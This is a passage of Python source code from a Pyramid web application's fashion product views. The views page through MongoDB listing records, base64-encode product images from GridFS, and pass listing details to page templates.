\"\n \"\"\n \"\"\n )\n\n return Response(body)\n\n\n\n# ########################################################################################################################\n# ########################################################################################################################\n# ########################################################################################################################\n# View products\n@view_defaults(route_name='fashion_viewProducts1')\nclass FashionViewProductsViews(object):\n def __init__(self, request):\n self.request = request\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(renderer='templates/fashion_templates/fashion_viewProducts1.pt')\n def fashion_viewProducts1(self):\n return {}\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n # Response from viewProducts1 page and validate with records in database \n @view_config(request_method='POST', request_param='fashion_view_submit')\n def fashion_viewProducts2_page1A(self):\n from pyramid.httpexceptions import HTTPFound\n # Perform some database matching on sub categories and redirect to the appropriate renderer.\n return HTTPFound(location='fashion_viewProducts2_page1')\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(route_name='fashion_viewProducts2_page1', renderer='templates/fashion_templates/fashion_viewProducts2_page1.pt')\n def fashion_viewProducts2_page1B(self):\n import pymongo\n from pymongo import MongoClient\n import gridfs\n from gridfs import GridFS\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client1 = MongoClient('%s' % connection_string)\n db = client1.spacenetng_database\n\n # Create or open a text based records collection called fashion_text_collection\n text_collection_fashion = db.fashion_text_collection\n\n # Establish gridfs collection connection\n # Creating or getting an fashion gridfs collection called 'fashion_images_collection'\n # (Getting the GridFS object)\n image_collection_fashion = GridFS(db, \"fashion_images_collection\")\n\n # Retrieve document record from database operation\n fashion_collection = text_collection_fashion.find().sort([(\"_id\", pymongo.DESCENDING)]).limit(5) #This returns 25 records\n\n # Push documents into a list\n fashion_collection_list = []\n\n for record in fashion_collection:\n fashion_collection_list.append(record)\n\n document1 = fashion_collection_list[0]\n document2 = fashion_collection_list[1]\n document3 = fashion_collection_list[2]\n document4 = fashion_collection_list[3]\n document5 = fashion_collection_list[4]\n \n\n # Extracting images\n # The images for document1\n document1_images_list_rawFile = []\n for image_name in document1[\"Images\"]:\n document1_images_list_rawFile.append(image_collection_fashion.get_last_version(filename=image_name))\n\n # For the images for document2\n document2_images_list_rawFile = []\n for image_name in document2[\"Images\"]:\n document2_images_list_rawFile.append(image_collection_fashion.get_last_version(filename=image_name))\n\n # The images for document3\n document3_images_list_rawFile = []\n for image_name in document3[\"Images\"]:\n document3_images_list_rawFile.append(image_collection_fashion.get_last_version(filename=image_name))\n\n # The images for document4\n document4_images_list_rawFile = []\n for image_name in document4[\"Images\"]:\n document4_images_list_rawFile.append(image_collection_fashion.get_last_version(filename=image_name))\n\n # The images for document5\n document5_images_list_rawFile = []\n for image_name in document5[\"Images\"]:\n document5_images_list_rawFile.append(image_collection_fashion.get_last_version(filename=image_name))\n\n\n\n ##############################################\n # Collecting record from individual documents\n ##############################################\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document1\n #######################\n\n # For the text strings,\n fashion_collection_document1_productID = document1[\"Product ID\"]\n fashion_collection_document1_username = document1[\"Username\"]\n fashion_collection_document1_state = document1[\"State\"]\n fashion_collection_document1_city = document1[\"City\"]\n fashion_collection_document1_description = document1[\"Description\"]\n fashion_collection_document1_mobile = document1[\"Mobile\"]\n fashion_collection_document1_email = document1[\"Email\"]\n fashion_collection_document1_category = document1[\"Category\"]\n fashion_collection_document1_condition = document1[\"Condition\"]\n\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document1_images_UTF8_list = []\n\n for raw_image in document1_images_list_rawFile:\n document1_binaryImage = raw_image.read()\n document1_base64Image = codecs.encode(document1_binaryImage, 'base64')\n document1_UTF8Image = document1_base64Image.decode('utf-8')\n document1_images_UTF8_list.append(document1_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n fashion_collection_document1_imageA = document1_images_UTF8_list[0]\n\n try:\n fashion_collection_document1_imageB = document1_images_UTF8_list[1]\n except:\n fashion_collection_document1_imageB = document1_images_UTF8_list[0]\n\n try:\n fashion_collection_document1_imageC = document1_images_UTF8_list[2]\n except:\n fashion_collection_document1_imageC = document1_images_UTF8_list[0]\n\n try:\n fashion_collection_document1_imageD = document1_images_UTF8_list[3]\n except:\n fashion_collection_document1_imageD = document1_images_UTF8_list[0] \n \n try:\n fashion_collection_document1_imageE = document1_images_UTF8_list[4]\n except:\n fashion_collection_document1_imageE = document1_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document2\n #######################\n\n # For the text strings,\n fashion_collection_document2_productID = document2[\"Product ID\"]\n fashion_collection_document2_username = document2[\"Username\"]\n fashion_collection_document2_state = document2[\"State\"]\n fashion_collection_document2_city = document2[\"City\"]\n fashion_collection_document2_description = document2[\"Description\"]\n fashion_collection_document2_mobile = document2[\"Mobile\"]\n fashion_collection_document2_email = document2[\"Email\"]\n fashion_collection_document2_category = document2[\"Category\"]\n fashion_collection_document2_condition = document2[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document2_images_UTF8_list = []\n\n for raw_image in document2_images_list_rawFile:\n document2_binaryImage = raw_image.read()\n document2_base64Image = codecs.encode(document2_binaryImage, 'base64')\n document2_UTF8Image = document2_base64Image.decode('utf-8')\n document2_images_UTF8_list.append(document2_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n fashion_collection_document2_imageA = document2_images_UTF8_list[0]\n\n try:\n fashion_collection_document2_imageB = document2_images_UTF8_list[1]\n except:\n fashion_collection_document2_imageB = document2_images_UTF8_list[0]\n\n try:\n fashion_collection_document2_imageC = document2_images_UTF8_list[2]\n except:\n fashion_collection_document2_imageC = document2_images_UTF8_list[0]\n\n try:\n fashion_collection_document2_imageD = document2_images_UTF8_list[3]\n except:\n fashion_collection_document2_imageD = document2_images_UTF8_list[0] \n \n try:\n fashion_collection_document2_imageE = document2_images_UTF8_list[4]\n except:\n fashion_collection_document2_imageE = document2_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document3\n #######################\n\n # For the text strings,\n fashion_collection_document3_productID = document3[\"Product ID\"]\n fashion_collection_document3_username = document3[\"Username\"]\n fashion_collection_document3_state = document3[\"State\"]\n fashion_collection_document3_city = document3[\"City\"]\n fashion_collection_document3_description = document3[\"Description\"]\n fashion_collection_document3_mobile = document3[\"Mobile\"]\n fashion_collection_document3_email = document3[\"Email\"]\n fashion_collection_document3_category = document3[\"Category\"]\n fashion_collection_document3_condition = document3[\"Condition\"]\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document3_images_UTF8_list = []\n\n for raw_image in document3_images_list_rawFile:\n document3_binaryImage = raw_image.read()\n document3_base64Image = codecs.encode(document3_binaryImage, 'base64')\n document3_UTF8Image = document3_base64Image.decode('utf-8')\n document3_images_UTF8_list.append(document3_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n fashion_collection_document3_imageA = document3_images_UTF8_list[0]\n\n try:\n fashion_collection_document3_imageB = document3_images_UTF8_list[1]\n except:\n fashion_collection_document3_imageB = document3_images_UTF8_list[0]\n\n try:\n fashion_collection_document3_imageC = document3_images_UTF8_list[2]\n except:\n fashion_collection_document3_imageC = document3_images_UTF8_list[0]\n\n try:\n fashion_collection_document3_imageD = document3_images_UTF8_list[3]\n except:\n fashion_collection_document3_imageD = document3_images_UTF8_list[0] \n \n try:\n fashion_collection_document3_imageE = document3_images_UTF8_list[4]\n except:\n fashion_collection_document3_imageE = document3_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document4\n #######################\n\n # For the text strings,\n fashion_collection_document4_productID = document4[\"Product ID\"]\n fashion_collection_document4_username = document4[\"Username\"]\n fashion_collection_document4_state = document4[\"State\"]\n fashion_collection_document4_city = document4[\"City\"]\n fashion_collection_document4_description = document4[\"Description\"]\n fashion_collection_document4_mobile = document4[\"Mobile\"]\n fashion_collection_document4_email = document4[\"Email\"]\n fashion_collection_document4_category = document4[\"Category\"]\n fashion_collection_document4_condition = document4[\"Condition\"]\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document4_images_UTF8_list = []\n\n for raw_image in document4_images_list_rawFile:\n document4_binaryImage = raw_image.read()\n document4_base64Image = codecs.encode(document4_binaryImage, 'base64')\n document4_UTF8Image = document4_base64Image.decode('utf-8')\n document4_images_UTF8_list.append(document4_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n fashion_collection_document4_imageA = document4_images_UTF8_list[0]\n\n try:\n fashion_collection_document4_imageB = document4_images_UTF8_list[1]\n except:\n fashion_collection_document4_imageB = document4_images_UTF8_list[0]\n\n try:\n fashion_collection_document4_imageC = document4_images_UTF8_list[2]\n except:\n fashion_collection_document4_imageC = document4_images_UTF8_list[0]\n\n try:\n fashion_collection_document4_imageD = document4_images_UTF8_list[3]\n except:\n fashion_collection_document4_imageD = document4_images_UTF8_list[0] \n \n try:\n fashion_collection_document4_imageE = document4_images_UTF8_list[4]\n except:\n fashion_collection_document4_imageE = document4_images_UTF8_list[0]\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document5\n #######################\n\n # For the text strings,\n fashion_collection_document5_productID = document5[\"Product ID\"]\n fashion_collection_document5_username = document5[\"Username\"]\n fashion_collection_document5_state = document5[\"State\"]\n fashion_collection_document5_city = document5[\"City\"]\n fashion_collection_document5_description = document5[\"Description\"]\n fashion_collection_document5_mobile = document5[\"Mobile\"]\n fashion_collection_document5_email = document5[\"Email\"]\n fashion_collection_document5_category = document5[\"Category\"]\n fashion_collection_document5_condition = document5[\"Condition\"]\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document5_images_UTF8_list = []\n\n for raw_image in document5_images_list_rawFile:\n document5_binaryImage = raw_image.read()\n document5_base64Image = codecs.encode(document5_binaryImage, 'base64')\n document5_UTF8Image = document5_base64Image.decode('utf-8')\n document5_images_UTF8_list.append(document5_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n fashion_collection_document5_imageA = document5_images_UTF8_list[0]\n\n try:\n fashion_collection_document5_imageB = document5_images_UTF8_list[1]\n except:\n fashion_collection_document5_imageB = document5_images_UTF8_list[0]\n\n try:\n fashion_collection_document5_imageC = document5_images_UTF8_list[2]\n except:\n fashion_collection_document5_imageC = document5_images_UTF8_list[0]\n\n try:\n fashion_collection_document5_imageD = document5_images_UTF8_list[3]\n except:\n fashion_collection_document5_imageD = document5_images_UTF8_list[0] \n \n try:\n fashion_collection_document5_imageE = document5_images_UTF8_list[4]\n except:\n fashion_collection_document5_imageE = document5_images_UTF8_list[0]\n\n \n # Close our database connection and free up resources.\n client1.close()\n\n # Pack all return variables into a JSON Structure and use for return\n return {\n \n 'productID1' : fashion_collection_document1_productID,\n 'username1' : fashion_collection_document1_username,\n 'state1' : fashion_collection_document1_state,\n 'city1' : fashion_collection_document1_city,\n 'description1' : fashion_collection_document1_description,\n 'mobile1' : fashion_collection_document1_mobile,\n 'email1' : fashion_collection_document1_email,\n 'category1' : fashion_collection_document1_category,\n 'condition1': fashion_collection_document1_condition,\n 'image1A' : fashion_collection_document1_imageA,\n 'image1B' : fashion_collection_document1_imageB,\n 'image1C' : fashion_collection_document1_imageC,\n 'image1D': fashion_collection_document1_imageD,\n 'image1E': fashion_collection_document1_imageE,\n\n 'productID2' : fashion_collection_document2_productID,\n 'username2' : fashion_collection_document2_username,\n 'state2' : fashion_collection_document2_state,\n 'city2' : fashion_collection_document2_city,\n 'description2' : fashion_collection_document2_description,\n 'mobile2' : fashion_collection_document2_mobile,\n 'email2' : fashion_collection_document2_email,\n 'category2' : fashion_collection_document2_category,\n 'condition2': fashion_collection_document2_condition,\n 'image2A' : fashion_collection_document2_imageA,\n 'image2B' : fashion_collection_document2_imageB,\n 'image2C' : fashion_collection_document2_imageC,\n 'image2D': fashion_collection_document2_imageD,\n 'image2E': fashion_collection_document2_imageE,\n\n 'productID3' : fashion_collection_document3_productID,\n 'username3' : fashion_collection_document3_username,\n 'state3' : fashion_collection_document3_state,\n 'city3' : fashion_collection_document3_city,\n 'description3' : fashion_collection_document3_description,\n 'mobile3' : fashion_collection_document3_mobile,\n 'email3' : fashion_collection_document3_email,\n 'category3' : fashion_collection_document3_category,\n 'condition3': fashion_collection_document3_condition,\n 'image3A' : fashion_collection_document3_imageA,\n 'image3B' : fashion_collection_document3_imageB,\n 'image3C' : fashion_collection_document3_imageC,\n 'image3D': fashion_collection_document3_imageD,\n 'image3E': fashion_collection_document3_imageE,\n\n 'productID4' : fashion_collection_document4_productID,\n 'username4' : fashion_collection_document4_username,\n 'state4' : fashion_collection_document4_state,\n 'city4' : fashion_collection_document4_city,\n 'description4' : fashion_collection_document4_description,\n 'mobile4' : fashion_collection_document4_mobile,\n 'email4' : fashion_collection_document4_email,\n 'category4' : fashion_collection_document4_category,\n 'condition4': fashion_collection_document4_condition,\n 'image4A' : fashion_collection_document4_imageA,\n 'image4B' : fashion_collection_document4_imageB,\n 'image4C' : fashion_collection_document4_imageC,\n 'image4D': fashion_collection_document4_imageD,\n 'image4E': fashion_collection_document4_imageE,\n\n 'productID5' : fashion_collection_document5_productID,\n 'username5' : fashion_collection_document5_username,\n 'state5' : fashion_collection_document5_state,\n 'city5' : fashion_collection_document5_city,\n 'description5' : fashion_collection_document5_description,\n 'mobile5' : fashion_collection_document5_mobile,\n 'email5' : fashion_collection_document5_email,\n 'category5' : fashion_collection_document5_category,\n 'condition5': fashion_collection_document5_condition,\n 'image5A' : fashion_collection_document5_imageA,\n 'image5B' : fashion_collection_document5_imageB,\n 'image5C' : fashion_collection_document5_imageC,\n 'image5D': fashion_collection_document5_imageD,\n 'image5E': fashion_collection_document5_imageE,\n }\n\n\n # View pages....(n)\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(route_name='fashion_viewProducts2_page2', renderer='templates/fashion_templates/fashion_viewProducts2_page2.pt')\n def fashion_viewProducts2_page2(self):\n import pymongo\n from pymongo import MongoClient\n import gridfs\n from gridfs import GridFS\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client2 = MongoClient('%s' % connection_string)\n db = client2.spacenetng_database\n\n # Create or open a text based records collection called fashion_text_collection\n text_collection_fashion = db.fashion_text_collection\n\n # Establish gridfs collection connection\n # Creating or getting an fashion gridfs collection called 'fashion_images_collection'\n # (Getting the GridFS object)\n image_collection_fashion = GridFS(db, \"fashion_images_collection\")\n\n # Retrieve document record from database operation\n fashion_collection = text_collection_fashion.find().sort([(\"_id\", pymongo.DESCENDING)]).skip(5).limit(5) #This returns 25 records\n\n # Push documents into a list\n fashion_collection_list = []\n\n for record in fashion_collection:\n fashion_collection_list.append(record)\n\n document6 = fashion_collection_list[0]\n document7 = fashion_collection_list[1]\n document8 = fashion_collection_list[2]\n document9 = fashion_collection_list[3]\n document10 = fashion_collection_list[4]\n\n\n\n # The images for document6\n document6_images_list_rawFile = []\n for image_name in document6[\"Images\"]:\n document6_images_list_rawFile.append(image_collection_fashion.get_last_version(filename=image_name))\n\n # The images for document7\n document7_images_list_rawFile = []\n for image_name in document7[\"Images\"]:\n document7_images_list_rawFile.append(image_collection_fashion.get_last_version(filename=image_name))\n\n # The images for document8\n document8_images_list_rawFile = []\n for image_name in document8[\"Images\"]:\n document8_images_list_rawFile.append(image_collection_fashion.get_last_version(filename=image_name))\n\n # The images for document9\n document9_images_list_rawFile = []\n for image_name in document9[\"Images\"]:\n document9_images_list_rawFile.append(image_collection_fashion.get_last_version(filename=image_name))\n\n # The images for document10\n document10_images_list_rawFile = []\n for image_name in document10[\"Images\"]:\n document10_images_list_rawFile.append(image_collection_fashion.get_last_version(filename=image_name))\n\n\n ##############################################\n # Collecting record from individual documents\n ##############################################\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document6\n #######################\n\n # For the text strings,\n fashion_collection_document6_productID = document6[\"Product ID\"]\n fashion_collection_document6_username = document6[\"Username\"]\n fashion_collection_document6_state = document6[\"State\"]\n fashion_collection_document6_city = document6[\"City\"]\n fashion_collection_document6_description = document6[\"Description\"]\n fashion_collection_document6_mobile = document6[\"Mobile\"]\n fashion_collection_document6_email = document6[\"Email\"]\n fashion_collection_document6_category = document6[\"Category\"]\n fashion_collection_document6_condition = document6[\"Condition\"]\n\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document6_images_UTF8_list = []\n\n for raw_image in document6_images_list_rawFile:\n document6_binaryImage = raw_image.read()\n document6_base64Image = codecs.encode(document6_binaryImage, 'base64')\n document6_UTF8Image = document6_base64Image.decode('utf-8')\n document6_images_UTF8_list.append(document6_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n fashion_collection_document6_imageA = document6_images_UTF8_list[0]\n\n try:\n fashion_collection_document6_imageB = document6_images_UTF8_list[1]\n except:\n fashion_collection_document6_imageB = document6_images_UTF8_list[0]\n\n try:\n fashion_collection_document6_imageC = document6_images_UTF8_list[2]\n except:\n fashion_collection_document6_imageC = document6_images_UTF8_list[0]\n\n try:\n fashion_collection_document6_imageD = document6_images_UTF8_list[3]\n except:\n fashion_collection_document6_imageD = document6_images_UTF8_list[0] \n \n try:\n fashion_collection_document6_imageE = document6_images_UTF8_list[4]\n except:\n fashion_collection_document6_imageE = document6_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document7\n #######################\n\n # For the text strings,\n fashion_collection_document7_productID = document7[\"Product ID\"]\n fashion_collection_document7_username = document7[\"Username\"]\n fashion_collection_document7_state = document7[\"State\"]\n fashion_collection_document7_city = document7[\"City\"]\n fashion_collection_document7_description = document7[\"Description\"]\n fashion_collection_document7_mobile = document7[\"Mobile\"]\n fashion_collection_document7_email = document7[\"Email\"]\n fashion_collection_document7_category = document7[\"Category\"]\n fashion_collection_document7_condition = document7[\"Condition\"]\n\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document7_images_UTF8_list = []\n\n for raw_image in document7_images_list_rawFile:\n document7_binaryImage = raw_image.read()\n document7_base64Image = codecs.encode(document7_binaryImage, 'base64')\n document7_UTF8Image = document7_base64Image.decode('utf-8')\n document7_images_UTF8_list.append(document7_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n fashion_collection_document7_imageA = document7_images_UTF8_list[0]\n\n try:\n fashion_collection_document7_imageB = document7_images_UTF8_list[1]\n except:\n fashion_collection_document7_imageB = document7_images_UTF8_list[0]\n\n try:\n fashion_collection_document7_imageC = document7_images_UTF8_list[2]\n except:\n fashion_collection_document7_imageC = document7_images_UTF8_list[0]\n\n try:\n fashion_collection_document7_imageD = document7_images_UTF8_list[3]\n except:\n fashion_collection_document7_imageD = document7_images_UTF8_list[0] \n \n try:\n fashion_collection_document7_imageE = document7_images_UTF8_list[4]\n except:\n fashion_collection_document7_imageE = document7_images_UTF8_list[0]\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document8\n #######################\n\n # For the text strings,\n fashion_collection_document8_productID = document8[\"Product ID\"]\n fashion_collection_document8_username = document8[\"Username\"]\n fashion_collection_document8_state = document8[\"State\"]\n fashion_collection_document8_city = document8[\"City\"]\n fashion_collection_document8_description = document8[\"Description\"]\n fashion_collection_document8_mobile = document8[\"Mobile\"]\n fashion_collection_document8_email = document8[\"Email\"]\n fashion_collection_document8_category = document8[\"Category\"]\n fashion_collection_document8_condition = document8[\"Condition\"]\n\n \n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document8_images_UTF8_list = []\n\n for raw_image in document8_images_list_rawFile:\n document8_binaryImage = raw_image.read()\n document8_base64Image = codecs.encode(document8_binaryImage, 'base64')\n document8_UTF8Image = document8_base64Image.decode('utf-8')\n document8_images_UTF8_list.append(document8_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n fashion_collection_document8_imageA = document8_images_UTF8_list[0]\n\n try:\n fashion_collection_document8_imageB = document8_images_UTF8_list[1]\n except:\n fashion_collection_document8_imageB = document8_images_UTF8_list[0]\n\n try:\n fashion_collection_document8_imageC = document8_images_UTF8_list[2]\n except:\n fashion_collection_document8_imageC = document8_images_UTF8_list[0]\n\n try:\n fashion_collection_document8_imageD = document8_images_UTF8_list[3]\n except:\n fashion_collection_document8_imageD = document8_images_UTF8_list[0] \n \n try:\n fashion_collection_document8_imageE = document8_images_UTF8_list[4]\n except:\n fashion_collection_document8_imageE = document8_images_UTF8_list[0]\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document9\n #######################\n\n # For the text strings,\n fashion_collection_document9_productID = document9[\"Product ID\"]\n fashion_collection_document9_username = document9[\"Username\"]\n fashion_collection_document9_state = document9[\"State\"]\n fashion_collection_document9_city = document9[\"City\"]\n fashion_collection_document9_description = document9[\"Description\"]\n fashion_collection_document9_mobile = document9[\"Mobile\"]\n fashion_collection_document9_email = document9[\"Email\"]\n fashion_collection_document9_category = document9[\"Category\"]\n fashion_collection_document9_condition = document9[\"Condition\"]\n\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document9_images_UTF8_list = []\n\n for raw_image in document9_images_list_rawFile:\n document9_binaryImage = raw_image.read()\n document9_base64Image = codecs.encode(document9_binaryImage, 'base64')\n document9_UTF8Image = document9_base64Image.decode('utf-8')\n document9_images_UTF8_list.append(document9_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n fashion_collection_document9_imageA = document9_images_UTF8_list[0]\n\n try:\n fashion_collection_document9_imageB = document9_images_UTF8_list[1]\n except:\n fashion_collection_document9_imageB = document9_images_UTF8_list[0]\n\n try:\n fashion_collection_document9_imageC = document9_images_UTF8_list[2]\n except:\n fashion_collection_document9_imageC = document9_images_UTF8_list[0]\n\n try:\n fashion_collection_document9_imageD = document9_images_UTF8_list[3]\n except:\n fashion_collection_document9_imageD = document9_images_UTF8_list[0] \n \n try:\n fashion_collection_document9_imageE = document9_images_UTF8_list[4]\n except:\n fashion_collection_document9_imageE = document9_images_UTF8_list[0]\n\n\n # For document10\n #######################\n\n # For the text strings,\n fashion_collection_document10_productID = document10[\"Product ID\"]\n fashion_collection_document10_username = document10[\"Username\"]\n fashion_collection_document10_state = document10[\"State\"]\n fashion_collection_document10_city = document10[\"City\"]\n fashion_collection_document10_description = document10[\"Description\"]\n fashion_collection_document10_mobile = document10[\"Mobile\"]\n fashion_collection_document10_email = document10[\"Email\"]\n fashion_collection_document10_category = document10[\"Category\"]\n fashion_collection_document10_condition = document10[\"Condition\"]\n\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document10_images_UTF8_list = []\n\n for raw_image in document10_images_list_rawFile:\n document10_binaryImage = raw_image.read()\n document10_base64Image = codecs.encode(document10_binaryImage, 'base64')\n document10_UTF8Image = document10_base64Image.decode('utf-8')\n document10_images_UTF8_list.append(document10_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n fashion_collection_document10_imageA = document10_images_UTF8_list[0]\n\n try:\n fashion_collection_document10_imageB = document10_images_UTF8_list[1]\n except:\n fashion_collection_document10_imageB = document10_images_UTF8_list[0]\n\n try:\n fashion_collection_document10_imageC = document10_images_UTF8_list[2]\n except:\n fashion_collection_document10_imageC = document10_images_UTF8_list[0]\n\n try:\n fashion_collection_document10_imageD = document10_images_UTF8_list[3]\n except:\n fashion_collection_document10_imageD = document10_images_UTF8_list[0] \n \n try:\n fashion_collection_document10_imageE = document10_images_UTF8_list[4]\n except:\n fashion_collection_document10_imageE = document10_images_UTF8_list[0]\n\n # Close our database connection and free up resources.\n client2.close()\n\n # Pack all return variables into a JSON Structure and use for return\n return{\n 'productID6' : fashion_collection_document6_productID,\n 'username6' : fashion_collection_document6_username,\n 'state6' : fashion_collection_document6_state,\n 'city6' : fashion_collection_document6_city,\n 'description6' : fashion_collection_document6_description,\n 'mobile6' : fashion_collection_document6_mobile,\n 'email6' : fashion_collection_document6_email,\n 'category6' : fashion_collection_document6_category,\n 'condition6': fashion_collection_document6_condition,\n 'image6A' : fashion_collection_document6_imageA,\n 'image6B' : fashion_collection_document6_imageB,\n 'image6C' : fashion_collection_document6_imageC,\n 'image6D': fashion_collection_document6_imageD,\n 'image6E': fashion_collection_document6_imageE,\n\n 'productID7' : fashion_collection_document7_productID,\n 'username7' : fashion_collection_document7_username,\n 'state7' : fashion_collection_document7_state,\n 'city7' : fashion_collection_document7_city,\n 'description7' : fashion_collection_document7_description,\n 'mobile7' : fashion_collection_document7_mobile,\n 'email7' : fashion_collection_document7_email,\n 'category7' : fashion_collection_document7_category,\n 'condition7': fashion_collection_document7_condition,\n 'image7A' : fashion_collection_document7_imageA,\n 'image7B' : fashion_collection_document7_imageB,\n 'image7C' : fashion_collection_document7_imageC,\n 'image7D': fashion_collection_document7_imageD,\n 'image7E': fashion_collection_document7_imageE,\n\n 'productID8' : fashion_collection_document8_productID,\n 'username8' : fashion_collection_document8_username,\n 'state8' : fashion_collection_document8_state,\n 'city8' : fashion_collection_document8_city,\n 'description8' : fashion_collection_document8_description,\n 'mobile8' : fashion_collection_document8_mobile,\n 'email8' : fashion_collection_document8_email,\n 'category8' : fashion_collection_document8_category,\n 'condition8': fashion_collection_document8_condition,\n 'image8A' : fashion_collection_document8_imageA,\n 'image8B' : fashion_collection_document8_imageB,\n 'image8C' : fashion_collection_document8_imageC,\n 'image8D': fashion_collection_document8_imageD,\n 'image8E': fashion_collection_document8_imageE,\n\n 'productID9' : fashion_collection_document9_productID,\n 'username9' : fashion_collection_document9_username,\n 'state9' : fashion_collection_document9_state,\n 'city9' : fashion_collection_document9_city,\n 'description9' : fashion_collection_document9_description,\n 'mobile9' : fashion_collection_document9_mobile,\n 'email9' : fashion_collection_document9_email,\n 'category9' : fashion_collection_document9_category,\n 'condition9': fashion_collection_document9_condition,\n 'image9A' : fashion_collection_document9_imageA,\n 'image9B' : fashion_collection_document9_imageB,\n 'image9C' : fashion_collection_document9_imageC,\n 'image9D': fashion_collection_document9_imageD,\n 'image9E': fashion_collection_document9_imageE,\n\n 'productID10' : fashion_collection_document10_productID,\n 'username10' : fashion_collection_document10_username,\n 'state10' : fashion_collection_document10_state,\n 'city10' : fashion_collection_document10_city,\n 'description10' : fashion_collection_document10_description,\n 'mobile10' : fashion_collection_document10_mobile,\n 'email10' : fashion_collection_document10_email,\n 'category10' : fashion_collection_document10_category,\n 'condition10': fashion_collection_document10_condition,\n 'image10A' : fashion_collection_document10_imageA,\n 'image10B' : fashion_collection_document10_imageB,\n 'image10C' : fashion_collection_document10_imageC,\n 'image10D': fashion_collection_document10_imageD,\n 'image10E': fashion_collection_document10_imageE, \n }\n\n\n\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(route_name='fashion_viewProducts2_page3', renderer='templates/fashion_templates/fashion_viewProducts2_page3.pt')\n def fashion_viewProducts2_page3(self):\n import pymongo\n from pymongo import MongoClient\n import gridfs\n from gridfs import GridFS\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client3 = MongoClient('%s' % connection_string)\n db = client3.spacenetng_database\n\n # Create or open a text based records collection called fashion_text_collection\n text_collection_fashion = db.fashion_text_collection\n\n # Establish gridfs collection connection\n # Creating or getting an fashion gridfs collection called 'fashion_images_collection'\n # (Getting the GridFS object)\n image_collection_fashion = GridFS(db, \"fashion_images_collection\")\n\n # Retrieve document record from database operation\n fashion_collection = text_collection_fashion.find().sort([(\"_id\", pymongo.DESCENDING)]).skip(10).limit(5) #This returns 25 records\n\n # Push documents into a list\n fashion_collection_list = []\n\n for record in fashion_collection:\n fashion_collection_list.append(record)\n\n\n\n document11 = fashion_collection_list[0]\n document12 = fashion_collection_list[1]\n document13 = fashion_collection_list[2]\n document14 = fashion_collection_list[3]\n document15 = fashion_collection_list[4]\n\n # Extracting images\n # The images for document11\n document11_images_list_rawFile = []\n for image_name in document11[\"Images\"]:\n document11_images_list_rawFile.append(image_collection_fashion.get_last_version(filename=image_name))\n\n # The images for document12\n document12_images_list_rawFile = []\n for image_name in document12[\"Images\"]:\n document12_images_list_rawFile.append(image_collection_fashion.get_last_version(filename=image_name))\n\n # The images for document13\n document13_images_list_rawFile = []\n for image_name in document13[\"Images\"]:\n document13_images_list_rawFile.append(image_collection_fashion.get_last_version(filename=image_name))\n\n # The images for document14\n document14_images_list_rawFile = []\n for image_name in document14[\"Images\"]:\n document14_images_list_rawFile.append(image_collection_fashion.get_last_version(filename=image_name))\n\n # The images for 